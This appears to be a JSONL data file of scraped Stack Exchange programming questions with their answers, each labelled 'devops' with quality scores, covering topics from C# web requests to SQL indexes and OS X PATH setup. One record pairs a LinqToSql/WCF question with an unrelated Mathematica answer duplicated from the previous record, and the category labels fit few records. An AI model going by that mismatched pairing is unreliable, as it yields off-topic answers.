"collected_at": "2026-01-17T15:25:24.647161"}
{"id": "hf_94a03826b59d", "question": "<p>I have a project at work the requires me to be able to enter information into a web page, read the next page I get redirected to and then take further action.  A simplified real-world example would be something like going to google.com, entering \"Coding tricks\" as search criteria, and reading the resulting page.</p>\n\n<p>Small coding examples like the ones linked to at <a href=\"http://www.csharp-station.com/HowTo/HttpWebFetch.aspx\" rel=\"nofollow noreferrer\">http://www.csharp-station.com/HowTo/HttpWebFetch.aspx</a> tell how to read a web page, but not how to interact with it by submitting information into a form and continuing on to the next page.</p>\n\n<p>For the record, I'm not building a malicious and/or spam related product.</p>\n\n<p>So how do I go read web pages that require a few steps of normal browsing to reach first?</p>\n", "question_body": "", "answer": "What you need to do is keep retrieving and analyzing the html source for each page in the chain.  For each page, you need to figure out what the form submission will look like and send a request that will match that to get the next page in the chain.\nWhat I do is build a custom class the wraps System.Net.HttpWebRequest/HttpWebResponse, so retrieving pages is as simple as using System.Net.WebClient.  However, my custom class also keeps the same cookie container across requests and makes it a little easier to send post data, customize the user agent, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.682263"}
{"id": "hf_ccd1ac3bca0e", "question": "<p>I'm programming in C for RAM limited embedded microcontroller with RTOS.</p>\n\n<p>I regularly break my code to short functions, but every function calling require to more stack memory.\nEvery task needs his stack, and this is one of the significant memory consumers in the project.</p>\n\n<p>Is there an alternative to keep the code well organized and readable, still preserve the memory?</p>\n", "question_body": "", "answer": "Turn on optimization, specifically aggressive inlining.  The compiler should be able to inline methods to minimize calls.  Depending on the compiler and the optimization switches you use, marking some methods as\n```\ninline\n```\nmay help (or it may be ignored).\nWith GCC, try adding the \"-finline-functions\" (or -O3) flag and possibly the \" -finline-limit=n\" flag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.780625"}
{"id": "hf_b3f4cacb449f", "question": "<p>I frequently come across Windows programs that bundle in MSVCRT (or their more current equivalents) with the program executables.  On a typical PC, I would find many copies of the same .DLL's.   My understanding is that MSVCRT is the C runtime library, somewhat analogous to glibc/libc.so under *nix.</p>\n<p>Why do Windows programs have to bring along their C libraries with them, instead of just sharing the system-wide libc?</p>\n<hr />\n<p>Update: thanks to Shog9, I started to read about SxS, which has further opened up my eyes to the DLL linkage issues (DLL Hell) - <a href=\"https://web.archive.org/web/20160305220537/http://blogs.msdn.com/b/martynl/archive/2005/10/13/480880.aspx\" rel=\"nofollow noreferrer\">Link</a> is one useful intro to the issue...</p>\n", "question_body": "", "answer": "Programs are linked against a specific version of the runtime, and that required version is\nnot\nguaranteed to exist on the target machine.  Also, matching up versions used to be problematic.\nIn the Windows world, it's very bad manners to expect your users to go out and find and install a separate library to use your application.  You make sure any dependencies not part of the host system are included with your app.\nIn the linux world this isn't always as simple, since there's a much larger variation for how the host system might look.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.850049"}
{"id": "hf_1e464cc11c57", "question": "<p>In C# I could easily write the following:</p>\n\n<pre><code>string stringValue = string.IsNullOrEmpty( otherString ) ? defaultString : otherString;\n</code></pre>\n\n<p>Is there a quick way of doing the same thing in Python or am I stuck with an 'if' statement?</p>\n", "question_body": "", "answer": "In Python 2.5, there is\n```\n```\nA if C else B\n```\n```\nwhich behaves a lot like ?: in C. However, it's frowned upon for two reasons: readability, and the fact that there's usually a simpler way to approach the problem. For instance, in your case:\n```\n```\nstringValue = otherString or defaultString\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.898273"}
{"id": "hf_b66e36cb8032", "question": "<p>When running a CherryPy app it will send server name tag something like CherryPy/version.\nIs it possible to rename/overwrite that from the app without modifying CherryPy so it will show something else? </p>\n\n<p>Maybe something like MyAppName/version (CherryPy/version) </p>\n", "question_body": "", "answer": "This string appears to be being set in the CherrPy\nResponse\nclass:\n```\n```\ndef __init__(self):\n  self.status = None\n  self.header_list = None\n  self._body = []\n  self.time = time.time()\n\n  self.headers = http.HeaderMap()\n  # Since we know all our keys are titled strings, we can\n  # bypass HeaderMap.update and get a big speed boost.\n  dict.update(self.headers, {\n    \"Content-Type\": 'text/html',\n    \"Server\": \"CherryPy/\" + cherrypy.__version__,\n    \"Date\": http.HTTPDate(self.time),\n  })\n```\n```\nSo when you're creating your Response object, you can update the \"Server\" header to display your desired string. From the CherrPy\nResponse Object documentation\n:\nheaders\nA dictionary containing the headers of the response. You may set values in \n  this dict anytime before the finalize phase, after which CherryPy switches \n  to using header_list ...\nEDIT\n: To avoid needing to make this change with every response object you create, one simple way to get around this is to wrap the Response object. For example, you can create your own Response object that inherits from CherryPy's Response and updates the headers key after initializing:\n```\n```\nclass MyResponse(Response):\n\n    def __init__(self):\n        Response.__init__(self)\n        dict.update(self.headers, {\n            \"Server\": \"MyServer/1.0\",\n        })\n\nRespObject = MyResponse()\nprint RespObject.headers[\"Server\"]\n```\n```\nThen you can can call your object for uses where you need to create a Response object, and it will always have the Server header set to your desired string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.934606"}
{"id": "hf_53c6dfc52b27", "question": "<p>Does anybody know if there is a built-in function in Mathematica for getting the lhs of downvalue rules (without any holding)?  I know how to write the code to do it, but it seems basic enough for a built-in</p>\n\n<p>For example:</p>\n\n<pre><code>a[1]=2;\na[2]=3;\n</code></pre>\n\n<p><code>BuiltInIDoNotKnowOf[a]</code> returns <code>{1,2}</code></p>\n", "question_body": "", "answer": "This seems to work; not sure how useful it is, though:\n```\n```\na[1] = 2\na[2] = 3\na[3] = 5\na[6] = 8\nPart[DownValues[a], All, 1, 1, 1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.959349"}
{"id": "hf_d52b16b30059", "question": "<p>Within an n-tier app that makes use of a WCF service to interact with the database, what is the best practice way of making use of LinqToSql classes throughout the app?</p>\n\n<p>I've seen it done a couple of different ways but they seemed like they burned a lot of hours creating extra interfaces, message classes, and the like which reduces the benefit you get from not having to write your data access code.</p>\n\n<p>Is there a good way to do it currently?  Are we stuck waiting for the Entity Framework?</p>\n", "question_body": "", "answer": "This seems to work; not sure how useful it is, though:\n```\n```\na[1] = 2\na[2] = 3\na[3] = 5\na[6] = 8\nPart[DownValues[a], All, 1, 1, 1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.983243"}
{"id": "hf_6110497f759c", "question": "<p>When should you NOT use a singleton class although it might be very tempting to do so? It would be very nice if we had a list of most common instances of 'singletonitis' that we should take care to avoid.</p>\n", "question_body": "", "answer": "I know many have answered with \"when you have more than one\", etc.\nSince the original poster wanted a list of cases when you shouldn't use Singletons (rather than the top reason), I'll chime in with:\nWhenever you're using it because you're not allowed to use a global!\nThe number of times I've had a junior engineer who has used a Singleton because they knew that I didn't accept globals in code-reviews.  They often seem shocked when I point out that all they did was replace a global with a Singleton pattern and they still just have a global!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.007835"}
{"id": "hf_14694cba4d41", "question": "<p>We have a painfully slow report.I added a Response.flush and it seems a great deal better. What are some of the caveats of using this method.</p>\n", "question_body": "", "answer": "If Response.Buffer is not set to true, then you'll get a run-time error.  Also, If the Flush method is called on an ASP page, the server does not honor Keep-Alive requests for that page.\nYou'll also want to look out if you're using a table-based design as it won't render in some browsers until the entire table is sent.. meaning if you have 10,000 rows, the user would still need to wait for all 10,000 rows to transfer before they'd actually see them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.043962"}
{"id": "hf_47117b87ae7f", "question": "<p>I've always struggled with how to best include classes into my php code. Pathing is usually an issue but a few minutes ago i found <a href=\"https://stackoverflow.com/questions/4369/how-to-include-php-files-that-require-an-absolute-path\">this question</a> which dramatically helps that. Now I'm reading about __autoload and thinking that it could make the process of developing my applications much easier. The problem is i like to maintain folder structure to separate areas of functionality as opposed to throwing everything into a general /lib folder. So if i override autoload to do a deep search of a class folder including all subfolders, what performance hits can i expect?</p>\n\n<p>Obviously this will depend on scale, depth of the folder structure and number of classes but generally I'm asking on a medium scale project will it cause problems. </p>\n", "question_body": "", "answer": "__autoload is great, but the cost of stating all the files in a recursive search function is expensive. You might want to look at building a tree of files to use for autoloading.  In my framework, I consistently name files for their classes and use a map that is cached for the data.\nCheck out\nhttp://trac.framewerk.org/cgi-bin/trac.fcgi/browser/trunk/index.php\n[\ndead link\n] starting at line 68 for an idea of how this can be done.\nEdit: And to more directly answer your question, without caching,  you can expect a performance hit on a site with medium to heavy traffic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.080337"}
{"id": "hf_9ab1517fe318", "question": "<p>There are a group of private methods in my class, and I need to call one dynamically based on an input value. Both the invoking code and the target methods are in the same instance. The code looks like this:</p>\n\n<pre><code>MethodInfo dynMethod = this.GetType().GetMethod(\"Draw_\" + itemType);\ndynMethod.Invoke(this, new object[] { methodParams });\n</code></pre>\n\n<p>In this case, <code>GetMethod()</code> will not return private methods. What <code>BindingFlags</code> do I need to supply to <code>GetMethod()</code> so that it can locate private methods?</p>\n", "question_body": "", "answer": "I think you can pass it\n```\nBindingFlags.NonPublic\n```\nwhere\nit\nis the\n```\nGetMethod\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.154293"}
{"id": "hf_534eaf0c2d37", "question": "<p>How do I check if an object has a specific property in JavaScript?</p>\n\n<p>Consider:</p>\n\n<pre><code>x = {'key': 1};\nif ( x.hasOwnProperty('key') ) {\n    //Do this\n}\n</code></pre>\n\n<p>Is that the best way to do it?</p>\n", "question_body": "", "answer": "Yes it is :)  I think you can also do\n```\nObject.prototype.hasOwnProperty.call(x, 'key')\n```\nwhich should also work if\n```\nx\n```\nhas a property called\n```\nhasOwnProperty\n```\n:)\nBut that tests for own properties.  If you want to check if it has an property that may also be inhered you can use\n```\ntypeof x.foo != 'undefined'\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.190412"}
{"id": "hf_9fd920a815bd", "question": "<p>I want to create a list of methods to execute.  Each method has the same signature.\nI thought about putting delegates in a generic collection, but I keep getting this error:</p>\n\n<blockquote>\n  <p>'method' is a 'variable' but is used like a 'method'</p>\n</blockquote>\n\n<p>In theory, here is what I would like to do:</p>\n\n<pre><code>List&lt;object&gt; methodsToExecute;\n\nint Add(int x, int y)\n{ return x+y; }\n\nint Subtract(int x, int y)\n{ return x-y; }\n\ndelegate int BinaryOp(int x, int y);\n\nmethodsToExecute.add(new BinaryOp(add));\nmethodsToExecute.add(new BinaryOp(subtract));\n\nforeach(object method in methodsToExecute)\n{\n    method(1,2);\n}\n</code></pre>\n\n<p>Any ideas on how to accomplish this?\nThanks!</p>\n", "question_body": "", "answer": "Have them all implement of common interface, say IExecuteable, and then have a List<IExecutable>\nAlso, using delegates:\n```\n```\nclass Example\n{\n    public delegate int AddDelegate(int x, int y);\n\n    public List<AddDelegate> methods = new List<AddDelegate>();\n\n    int Execute()\n    {\n        int sum = 0;\n        foreach(AddDelegate method in methods)\n        {\n            sum+=method.Invoke(1, 2);\n        }\n        return sum;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.214849"}
{"id": "hf_910ef6cc509e", "question": "<p>Suppose I have the following code:</p>\n\n<pre><code>while(TRUE) {\n  pthread_t *thread = (pthread_t *) malloc(sizeof(pthread_t));\n  pthread_create(thread, NULL, someFunction, someArgument);\n  pthread_detach(*thread);\n  sleep(10);\n}\n</code></pre>\n\n<p>Will the detached thread free the memory allocated by malloc, or is that something I now have to do?</p>\n", "question_body": "", "answer": "No.\npthread_create()\nhas no way of knowing that the\nthread\npointer passed to it was dynamically allocated. pthreads doesn't use this value internally; it simply returns the new thread id to the caller. You don't need to dynamically allocate that value; you can pass the address of a local variable instead:\n```\n```\npthread_t thread;\npthread_create(&thread, NULL, someFunction, someArgument);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.238448"}
{"id": "hf_ac34d1d6fef3", "question": "<p>I've created a custom list &amp; also added a column in the Announcement List.  Question is, how can I include those newly created items when I create a fresh Web Application (like a script, feature or something)?</p>\n\n<p><em>Additional Info</em>: It's like when you're to deploy from your development machine to a staging or production server.  I'd like to have a script or something to update my production server to have the new column i've added to the Announcement List.  Just like SQL Server's ALTER TABLE command to update a SQL Server Table. </p>\n\n<p>Is there an equivalent in Sharepoint Lists?</p>\n\n<p>TIA!</p>\n", "question_body": "", "answer": "Your question is not very clear but I think you may want to look at Application Templates.\nMicrosoft provide 40 pre-built templates in the link below and the same technology is available to you. Links from this page should lead you to information showing you how you can crate your own.\nApplication Templates for Windows SharePoint Services 3.0\nhttp://technet.microsoft.com/en-us/windowsserver/sharepoint/bb407286.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.286459"}
{"id": "hf_e0995cc8fb23", "question": "<p>In WPF, we are creating custom controls that inherit from button with completely drawn-from-scratch xaml graphics.  We have a border around the entire button xaml and we'd like to use that as the location for updating the background when MouseOver=True in a trigger.  What we need to know is how do we update the background of the border in this button with a gradient when the mouse hovers over it?</p>\n", "question_body": "", "answer": "In your\n```\nControlTemplate\n```\n, give the\n```\nBorder\n```\na\n```\nName\n```\nand you can then reference that part of its visual tree in the triggers. Here's a very brief example of restyling a normal\n```\nButton\n```\n:\n```\n```\n<Style\n    TargetType=\"{x:Type Button}\">\n    <Setter\n        Property=\"Template\">\n        <Setter.Value>\n            <ControlTemplate TargetType=\"{x:Type Button}\">\n                <Border Name=\"customBorder\"\n                    CornerRadius=\"5\"\n                    BorderThickness=\"1\"\n                    BorderBrush=\"Black\"\n                    Background=\"{StaticResource normalButtonBG}\">\n                    <ContentPresenter\n                        HorizontalAlignment=\"Center\"\n                        VerticalAlignment=\"Center\" />\n                </Border>\n                <ControlTemplate.Triggers>\n                    <Trigger\n                        Property=\"IsMouseOver\"\n                        Value=\"True\">\n                        <Setter\n                            TargetName=\"customBorder\"\n                            Property=\"Background\"\n                            Value=\"{StaticResource hoverButtonBG}\" />\n                    </Trigger>\n                </ControlTemplate.Triggers>\n            </ControlTemplate>\n        </Setter.Value>\n    </Setter>\n</Style>\n```\n```\nIf that doesn't help, we'll need to know more, probably seeing your own XAML. Your description doesn't make it very clear to me what your actual visual tree is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.310752"}
{"id": "hf_3377a8a98353", "question": "<p>I have an index on columns A, B, C, D of table T</p>\n\n<p>I have a query that pulls from T with A, B, C in the WHERE clause.</p>\n\n<p>Will the index be used or will a separate index be needed that only includes A, B, C?</p>\n", "question_body": "", "answer": "in Oracle databases this is called a\nComposite Index\n( 12g docs but valid for earlier versions)\nComposite indexes can speed retrieval of data for SELECT statements in which the WHERE clause references all of the leading portion of the columns in the composite index. Therefore, the order of the columns used in the definition is important. In general, the most commonly accessed columns go first.\nso in your case, Yes. the index would/could be used.  this could be verified by using an explain plan.\nif MS SQLSERVER is different (and i suspect it might) you'll need a new answer.\nEdit:\nShould also mention it will only\nconsider\nthe index for use.. that does not necessarily mean it WILL use it.\nEdit2:\nOracle 11g and later now has an option that will allow it to skip columns in an index. so a query on A,B and D might still use the index", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.334718"}
{"id": "hf_a32d0ed093f1", "question": "<p>The shop that I am working part time with is new to Microsoft CRM. I just want to survey what projects have developers done to the system to extend its capabilities.</p>\n", "question_body": "", "answer": "I did some work with CRM 3.0. My work enhanced the program and turned it into a Document Management app, where you could scan and upload documents based on a case, contact, customer, vendor etc. The .NET SDK back then could have used a bit more work, but I hear with newer versions of CRM it has gotten better. CRM allows for attachments but not at all levels, more at the case level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.358366"}
{"id": "hf_dcc8a3032007", "question": "<p>I need to validate this simple pick list:</p>\n\n<pre><code>&lt;select name=\"&lt;%= key %&gt;\"&gt;\n    &lt;option value=\"ETC\" SELECTED&gt;Select an option...&lt;/option&gt;\n    &lt;option value=\"ONE\"&gt;Lorem ipsum&lt;/option&gt;\n    &lt;option value=\"TWO\"&gt;dolor sit amet&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>So the user would never submit the form with the, excuse the repetition, \"Select an option...\" option selected. In principle I'm allowed to use JavaScript but It'd be interesting to learn how to solve it within JSP too.</p>\n", "question_body": "", "answer": "You can never really satisfy the condition 'never submit a given value' because you don't have control over the client side.  The user can always manipulate HTML to submit whatever they want.\nIt is a good approach is to use JavaScript to do client-side validation and give the user quick feedback and catch 99%+ of the cases, then do a server-side validation of the submitted parameters to catch the minority that don't have JS enabled or who manipulate the HTML to submit non-expected values.\nJust remember that the client-side validation is optional, and is good for those 'common mistakes' input validation, but the server-side validation is mandatory for all input whether or not any client-side checks have been done on the given input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.382127"}
{"id": "hf_509dc1d87390", "question": "<p>I'm a PHPer, and am not writing object-oriented code.</p>\n\n<p>What are the advantages of OO over procedural code, and where can I learn how to apply these ideas to PHP?</p>\n", "question_body": "", "answer": "Objects help keep your code isolated between different sections, so that if you need to make a change to one section you can be confident it won't affect other sections: loose coupling.\nThen, when you've done that for a while, you'll start finding that objects you created for one app are also useful in others, and you start getting better code re-use as well.  So the new app has part of the work already done, and is using time-tested code:  software is built faster with fewer bugs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.405386"}
{"id": "hf_f935a7f61734", "question": "<p>When I download my program from my website to my windows 2003 machine, it has a block on it and you have to right click on the exe, then properties, then select the button \"Unblock\".</p>\n\n<p>I would like to add detection in my installer for when the file is blocked and hence doesn't have enough permissions.  </p>\n\n<p>But I can't eaisly reproduce getting my exe in this state where it needs to be unblocked.</p>\n\n<p>How can I get the unblock to appear on my exe so I can test this functionality?</p>\n", "question_body": "", "answer": "This is done using NTFS File Streams. There is a stream named \"Zone.Identifier\" added to downloaded files. When IE7 downloads certain types of file that stream contains:\n```\n```\n[ZoneTransfer]\nZoneId=3\n```\n```\nThe simplest way to set it is to create a text file with those contents in it, and use more to add it to the alternate stream.\nZone.Identifier.txt:\n```\n```\n[ZoneTransfer]\nZoneId=3\n```\n```\nCommand:\n```\n```\nmore Zone.Identifier.txt > file.exe:Zone.Identifier\n```\n```\nThen, the way for you to check it would be to try to open the Zone.Identifier stream and look for ZoneId=3, or simply assume that if the stream exists at all that your user will receive that warning.\nIt's also important to note that this has nothing to do with permissions. Administrators see the same warning; it's to do entirely with the source and type of file. The entire stream goes away when users uncheck the \"Always ask before opening this file\" box and then click Run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.477635"}
{"id": "hf_4afce616ee00", "question": "<p>I have a website where clients pay for a service but have to out the money upfront via escrow, I'm very proficient with PHP (this is what the website is coded in) how would I go about implementing an escrow system that would work automatically?</p>\n", "question_body": "", "answer": "You need to break down your design into components and think about the process.\nEscrow works like this:\nEntity A deposits money into Escrow Account for Entity B.\nEntity A and Entity B come to an agreement\nThe Escrow account is deposited to Entity B.\nImplementation wise, I'd track escrow deposits like any transaction, I'd also track escrow payments the same way.\nYou need to come up with a way to store \"Work Orders\" in a database. These would have two columns \"AcceptedByA\", and \"AcceptedByB\", as well as the amount of money.\nThe process would be:\nEntity A opens a workorder and pays $X into the Escrow Account\nEntity B does whatever the workorder requires (Setting AcceptedByB to true)\nEntity A sets \"AcceptedByA\" to true.\nA transaction runs to pay EntityB from the Escrow Account.\nThis is extremely high level, but its a rather simple idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.513607"}
{"id": "hf_4795c5b2a5d8", "question": "<p>A bunch of CSS files were pulled in and now I'm trying to clean things up a bit.</p>\n<p>How can I efficiently identify unused CSS definitions in a whole project?</p>\n", "question_body": "", "answer": "Chrome Developer Tools\nhas an\nAudits\ntab which can show unused CSS selectors.\nRun an audit, then, under\nWeb Page Performance\nsee\nRemove unused CSS rules", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.565084"}
{"id": "hf_dc9297e4f582", "question": "<p>Let's collect some tips for evaluating the appropriate use of global.asax.</p>\n", "question_body": "", "answer": "I've used it before to catch errors at the application level, and to do something when a user's session expires.\nI also tend to use it a lot to provide static properties that read values from the web.config.\nI think it ok for stuff like that, though I wouldn't put much more than that in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.589404"}
{"id": "hf_ee7a670b2c70", "question": "<p>For example, how much memory is required to store a list of one million (32-bit) integers?</p>\n\n<pre><code>alist = range(1000000) # or list(range(1000000)) in Python 3.0\n</code></pre>\n", "question_body": "", "answer": "\"It depends.\"  Python allocates space for lists in such a way as to achieve\namortized constant time\nfor appending elements to the list.\nIn practice, what this means with the current implementation is... the list always has space allocated for a power-of-two number of elements.  So range(1000000) will actually allocate a list big enough to hold 2^20 elements (~ 1.045 million).\nThis is only the space required to store the list structure itself (which is an array of pointers to the Python objects for each element).  A 32-bit system will require 4 bytes per element, a 64-bit system will use 8 bytes per element.\nFurthermore, you need space to store the actual elements.  This varies widely.  For small integers (-5 to 256 currently), no additional space is needed, but for larger numbers Python allocates a new object for each integer, which takes 10-100 bytes and tends to fragment memory.\nBottom line:\nit's complicated\nand Python lists are\nnot\na good way to store large homogeneous data structures.  For that, use the\n```\narray\n```\nmodule or, if you need to do vectorized math, use NumPy.\nPS- Tuples, unlike lists, are\nnot designed\nto have elements progressively appended to them.  I don't know how the allocator works, but don't even think about using it for large data structures :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.613435"}
{"id": "hf_1f4ef8887507", "question": "<p>What is the proper way to modify environment variables like PATH in OS&nbsp;X?</p>\n\n<p>I've looked on Google a little bit and found three different files to edit:</p>\n\n<ul>\n<li>/etc/paths</li>\n<li>~/.profile</li>\n<li>~/.tcshrc</li>\n</ul>\n\n<p>I don't even have some of these files, and I'm pretty sure that <em>.tcshrc</em> is wrong, since OS&nbsp;X uses bash now. Where are these variables, especially PATH, defined?</p>\n\n<p>I'm running <a href=\"http://en.wikipedia.org/wiki/Mac_OS_X_Leopard\" rel=\"noreferrer\">OS&nbsp;X&nbsp;v10.5</a> (Leopard).</p>\n", "question_body": "", "answer": "Up to and including\nOS X v10.7\n(Lion)\nyou can set them in:\n```\n```\n~/.MacOSX/environment.plist\n```\n```\nSee:\nhttps://developer.apple.com/legacy/library/qa/qa1067/_index.html\nhttps://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/EnvironmentVars.html\nFor PATH in the Terminal, you should be able to set in\n```\n.bash_profile\n```\nor\n```\n.profile\n```\n(you'll probably have to create it though)\nFor\nOS X v10.8\n(Mountain Lion) and beyond\nyou need to use\n```\nlaunchd\n```\nand\n```\nlaunchctl\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.667891"}
{"id": "hf_2f48273a497b", "question": "<p>What are the different types of indexes, what are the benefits of each?</p>\n\n<p>I heard of covering and clustered indexes, are there more? Where would you use them?</p>\n", "question_body": "", "answer": "OdeToCode has a good article covering the basic differences\nAs it says in the article:\nProper indexes are crucial for good\n  performance in large databases.\n  Sometimes you can make up for a poorly\n  written query with a good index, but\n  it can be hard to make up for poor\n  indexing with even the best queries.\nQuite true, too... If you're just starting out with it, I'd focus on clustered and composite indexes, since they'll probably be what you use the most.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.704969"}
{"id": "hf_b234189e37df", "question": "<p>It is typical to have something like this in your cshrc file for setting the path:</p>\n\n<pre><code>set path = ( . $otherpath $path )\n</code></pre>\n\n<p>but, the path gets duplicated when you source your cshrc file multiple times, how do you prevent the duplication?</p>\n\n<p>EDIT: This is one unclean way of doing it:</p>\n\n<pre><code>set localpaths = ( . $otherpaths )\necho ${path} | egrep -i \"$localpaths\" &gt;&amp; /dev/null\nif ($status != 0) then\n    set path = ( . $otherpaths $path )\nendif\n</code></pre>\n", "question_body": "", "answer": "I always set my path from scratch in .cshrc.\nThat is I start off with a basic path, something like:\n```\n```\nset path = (. ~/bin /bin /usr/bin /usr/ucb /usr/bin/X11)\n```\n```\n(depending on the system).\nAnd then do:\n```\n```\nset path = ($otherPath $path)\n```\n```\nto add more stuff", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.752507"}
